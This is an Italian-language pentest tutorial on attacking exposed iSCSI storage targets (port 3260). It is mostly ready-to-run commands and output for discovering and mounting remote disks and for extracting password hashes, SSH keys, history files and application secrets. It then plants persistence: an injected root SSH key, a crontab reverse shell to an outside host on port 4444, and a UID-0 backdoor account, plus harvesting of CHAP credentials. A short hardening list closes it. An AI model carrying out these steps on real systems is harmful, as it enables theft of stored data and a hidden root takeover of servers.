Porta 3260 iSCSI: Pentest, Target, LUN e CHAP

Porta 3260 iSCSI nel pentest: discovery di target e LUN, accesso a volumi storage, CHAP, mount di dischi remoti e analisi dei dati esposti.
- Pubblicato il 2026-04-13
- Tempo di lettura: 4 min
iSCSI (Internet Small Computer Systems Interface) è un protocollo che permette di accedere a dispositivi di storage remoti via rete TCP/IP come se fossero dischi locali. Ascolta sulla porta 3260 e viene usato in ambienti enterprise per collegare server a SAN (Storage Area Network), NAS e infrastrutture di virtualizzazione. Nel penetration testing, un target iSCSI esposto senza autenticazione è uno dei finding più gravi: equivale a dare accesso fisico ai dischi del server. Puoi montare volumi con sistemi operativi completi, leggere /etc/shadow, estrarre database, recuperare chiavi SSH e accedere a backup — tutto senza mai toccare il server che usa quei dischi.
A differenza di NFS che condivide directory, iSCSI condivide block device interi: partizioni, dischi, volumi logici. Monti il disco raw e accedi a tutto il filesystem come se il disco fosse fisicamente nel tuo computer.
Come Funziona iSCSI #
iSCSI Initiator (client) iSCSI Target (server/SAN)
┌──────────────────┐ ┌──────────────────────┐
│ Il tuo server │ │ Storage Array │
│ │ ── TCP:3260 ──► │ │
│ /dev/sdb ←───────│── block I/O ────│ Target: iqn.2025... │
│ │ │ LUN 0: 500GB disk │
│ mount /dev/sdb1 │ │ LUN 1: 1TB backup │
│ /mnt/remote_disk │ │ LUN 2: VM images │
└──────────────────┘ └──────────────────────┘Terminologia:
- Target: il server che espone lo storage (porta 3260)
- Initiator: il client che si connette al target
- IQN (iSCSI Qualified Name): identificativo unico del target (es.
iqn.2025-01.com.corp:storage.lun0) - LUN (Logical Unit Number): un singolo volume/disco esposto dal target
1. Enumerazione #
Nmap #
nmap -sV -p 3260 10.10.10.40PORT STATE SERVICE VERSION
3260/tcp open iscsi (iSCSI target)Discovery dei target #
iscsiadm -m discovery -t sendtargets -p 10.10.10.4010.10.10.40:3260,1 iqn.2025-01.com.corp:storage.disk1
10.10.10.40:3260,1 iqn.2025-01.com.corp:storage.backup
10.10.10.40:3260,1 iqn.2025-01.com.corp:storage.vm-imagesTre target esposti: un disco dati, un backup e immagini VM. Se la discovery funziona senza credenziali → nessuna autenticazione richiesta.
Nmap script #
nmap -sV -p 3260 --script=iscsi-info 10.10.10.40| iscsi-info:
| iqn.2025-01.com.corp:storage.disk1
| Address: 10.10.10.40:3260,1
| iqn.2025-01.com.corp:storage.backup
| Address: 10.10.10.40:3260,12. Connessione e Mount #
Login al target #
iscsiadm -m node -T iqn.2025-01.com.corp:storage.disk1 -p 10.10.10.40 --loginLogging in to [iface: default, target: iqn.2025-01.com.corp:storage.disk1, portal: 10.10.10.40,3260]
Login to ... successful.Se il login riesce senza --authmethod → nessuna autenticazione CHAP configurata.
Verifica il nuovo disco #
lsblkNAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
sda 8:0 0 50G 0 disk
├─sda1 8:1 0 49G 0 part /
└─sda2 8:2 0 1G 0 part [SWAP]
sdb 8:16 0 500G 0 disk ← disco iSCSI appena connesso
├─sdb1 8:17 0 499G 0 part
└─sdb2 8:18 0 1G 0 partsdb è il disco remoto iSCSI. Ha partizioni — montale:
mkdir -p /mnt/iscsi
mount /dev/sdb1 /mnt/iscsils -la /mnt/iscsi/drwxr-xr-x 23 root root 4096 Jan 15 10:00 .
drwxr-xr-x 3 root root 4096 Jan 15 12:00 ..
drwxr-xr-x 2 root root 4096 Jan 10 08:00 bin
drwxr-xr-x 3 root root 4096 Jan 10 08:00 boot
drwxr-xr-x 5 root root 4096 Jan 10 08:00 etc
drwxr-xr-x 4 root root 4096 Jan 10 08:00 home
drwxr-xr-x 2 root root 4096 Jan 10 08:00 rootÈ un filesystem Linux completo — il disco di boot di un server.
3. Extraction Dati #
Credenziali #
cat /mnt/iscsi/etc/shadowroot:$6$abc$LONGHASH...:19000:0:99999:7:::
admin:$6$def$LONGHASH...:19000:0:99999:7:::Hash delle password → crack con hashcat mode 1800 (sha512crypt).
cat /mnt/iscsi/etc/passwd | grep -v nologin# Chiavi SSH
find /mnt/iscsi/home -name "id_rsa" -o -name "id_ed25519" 2>/dev/null
find /mnt/iscsi/root/.ssh -type f 2>/dev/null# Credenziali applicative
grep -riE "password|secret|token|api_key" /mnt/iscsi/var/www/ /mnt/iscsi/opt/ /mnt/iscsi/etc/ 2>/dev/null | head -50# .bash_history di tutti gli utenti
find /mnt/iscsi/home -name ".bash_history" -exec echo "=== {} ===" \; -exec cat {} \; 2>/dev/null
cat /mnt/iscsi/root/.bash_history 2>/dev/null# File di configurazione database
cat /mnt/iscsi/var/www/html/wp-config.php 2>/dev/null
cat /mnt/iscsi/opt/app/.env 2>/dev/nullBackup LUN #
# Login al target backup
iscsiadm -m node -T iqn.2025-01.com.corp:storage.backup -p 10.10.10.40 --login
# Monta
mount /dev/sdc1 /mnt/iscsi_backup
# I backup spesso contengono dump database con credenziali
find /mnt/iscsi_backup -name "*.sql" -o -name "*.dump" -o -name "*.bak" -o -name "*.tar.gz" 2>/dev/nullImmagini VM #
# Le immagini VM (VMDK, QCOW2, VDI) sono dischi completi
find /mnt/iscsi_vm -name "*.vmdk" -o -name "*.qcow2" -o -name "*.vdi" 2>/dev/null
# Monta una QCOW2
modprobe nbd
qemu-nbd -c /dev/nbd0 /mnt/iscsi_vm/server.qcow2
mount /dev/nbd0p1 /mnt/vm_disk
# Accedi al filesystem della VM
cat /mnt/vm_disk/etc/shadow4. Persistenza e Modifica #
Se il target iSCSI è in read-write (verificare con mount | grep iscsi), puoi scrivere sul disco remoto:
SSH key injection #
mkdir -p /mnt/iscsi/root/.ssh
echo "ssh-rsa AAAA... attacker@kali" >> /mnt/iscsi/root/.ssh/authorized_keys
chmod 600 /mnt/iscsi/root/.ssh/authorized_keysQuando il server che usa questo disco si avvia → puoi fare SSH come root.
Backdoor in crontab #
echo "* * * * * root bash -c 'bash -i >& /dev/tcp/10.10.10.200/4444 0>&1'" >> /mnt/iscsi/etc/crontabModifica /etc/passwd #
# Aggiungi utente con UID 0 (root)
echo "backdoor:\$6\$salt\$hash:0:0::/root:/bin/bash" >> /mnt/iscsi/etc/passwd5. CHAP Authentication Bypass #
Se il target richiede CHAP (Challenge-Handshake Authentication Protocol):
iscsiadm -m node -T iqn.2025-01.com.corp:storage.disk1 -p 10.10.10.40 --loginLogin to ... failed (authentication failure)Trovare credenziali CHAP #
# Su host già compromessi, cerca le configurazioni iSCSI initiator
cat /etc/iscsi/iscsid.conf | grep -iE "username|password|CHAP"node.session.auth.username = iscsi_user
node.session.auth.password = iSCSI_P@ss2025!# Config VMware ESXi
grep -riE "CHAP" /etc/vmware/ 2>/dev/null
# Config Windows
# Pannello iSCSI Initiator → registra credenziali → registry
reg query HKLM\SYSTEM\CurrentControlSet\Control\iSCSI /sUsare le credenziali trovate #
iscsiadm -m node -T iqn.2025-01.com.corp:storage.disk1 -p 10.10.10.40 \
-o update -n node.session.auth.authmethod -v CHAP
iscsiadm -m node -T iqn.2025-01.com.corp:storage.disk1 -p 10.10.10.40 \
-o update -n node.session.auth.username -v iscsi_user
iscsiadm -m node -T iqn.2025-01.com.corp:storage.disk1 -p 10.10.10.40 \
-o update -n node.session.auth.password -v 'iSCSI_P@ss2025!'
iscsiadm -m node -T iqn.2025-01.com.corp:storage.disk1 -p 10.10.10.40 --login6. Detection & Hardening #
- CHAP authentication obbligatoria su tutti i target
- Mutual CHAP (bidirezionale) per prevenire target spoofing
- ACL per IQN — solo initiator autorizzati possono connettersi
- Network segmentation — storage network (SAN) isolata dalla rete dati, mai esposta
- IPsec o TLS per cifrare il traffico iSCSI (i dati passano in chiaro su TCP)
- Firewall — porta 3260 raggiungibile solo dalla VLAN storage
- Log e monitoring — alert su login da IQN/IP non autorizzati
7. Cheat Sheet Finale #
| Azione | Comando |
|---|---|
| Nmap | nmap -sV -p 3260 --script=iscsi-info target |
| Discovery target | iscsiadm -m discovery -t sendtargets -p target |
| Login | iscsiadm -m node -T IQN -p target --login |
| Lista dischi | lsblk |
| Mount | mount /dev/sdb1 /mnt/iscsi |
| Leggi shadow | cat /mnt/iscsi/etc/shadow |
| Cerca credenziali | grep -riE "password|secret" /mnt/iscsi/ |
| Cerca SSH keys | find /mnt/iscsi -name "id_rsa" |
| SSH key inject | echo "ssh-rsa..." >> /mnt/iscsi/root/.ssh/authorized_keys |
| Logout | iscsiadm -m node -T IQN -p target --logout |
| Trova CHAP creds | cat /etc/iscsi/iscsid.conf | grep -i chap |
Riferimento: iSCSI RFC 7143, HackTricks iSCSI, storage security best practices. Uso esclusivo in ambienti autorizzati. https://angelica.gitbook.io/hacktricks/network-services-pentesting/3260-pentesting-iscsi







